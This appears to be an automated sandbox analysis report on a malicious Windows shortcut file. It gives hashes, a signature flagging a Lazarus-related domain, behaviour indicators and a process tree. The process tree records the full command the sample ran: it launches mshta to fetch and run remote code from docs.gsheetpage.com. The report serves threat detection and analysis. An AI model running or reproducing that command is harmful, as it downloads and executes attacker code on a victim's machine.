Analysis
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max time kernel
122s -
max time network
122s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
01-11-2021 17:14
Behavioral task
behavioral1
Sample
51eaf8af57211f8d9e534f98413e71f4ddf5abcce806a111fc49a30d3bcec696.lnk
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
51eaf8af57211f8d9e534f98413e71f4ddf5abcce806a111fc49a30d3bcec696.lnk
Resource
win10-en-20211014
General
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Target
51eaf8af57211f8d9e534f98413e71f4ddf5abcce806a111fc49a30d3bcec696.lnk
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Size
1.3MB
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MD5
4b9366f2dcab60d56d09e69e21d77d91
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SHA1
a46318a25582c2616f33f49f7af986137637ba1d
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SHA256
51eaf8af57211f8d9e534f98413e71f4ddf5abcce806a111fc49a30d3bcec696
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SHA512
4b1bdfe4d09ed047122824536e5a1f59d533c8e1780a2cbab84398a8a1ba838de916ca99234b055a49e956d9fc539a961665764a3b89dc0d6736b8d6ce1b5d04
Malware Config
Signatures
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suricata: ET MALWARE Observed Lazarus Related Domain (docs .gsheetpage .com in TLS SNI)
suricata: ET MALWARE Observed Lazarus Related Domain (docs .gsheetpage .com in TLS SNI)
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Blocklisted process makes network request 3 IoCs
Processes:
mshta.exeflow pid process 9 3020 mshta.exe 11 3020 mshta.exe 13 3020 mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 2720 wrote to memory of 4092 2720 cmd.exe cmd.exe PID 2720 wrote to memory of 4092 2720 cmd.exe cmd.exe PID 4092 wrote to memory of 3020 4092 cmd.exe mshta.exe PID 4092 wrote to memory of 3020 4092 cmd.exe mshta.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\51eaf8af57211f8d9e534f98413e71f4ddf5abcce806a111fc49a30d3bcec696.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://docs.gsheetpage.com/oqkoB0q32czSiIjgsw+S2lfzfm4dB3TLnrpSTyuEIxI=2⤵
- Suspicious use of WriteProcessMemory
PID:4092 -
C:\Windows\System32\mshta.exeC:\Windows\System32\mshta https://docs.gsheetpage.com/oqkoB0q32czSiIjgsw+S2lfzfm4dB3TLnrpSTyuEIxI=3⤵
- Blocklisted process makes network request
PID:3020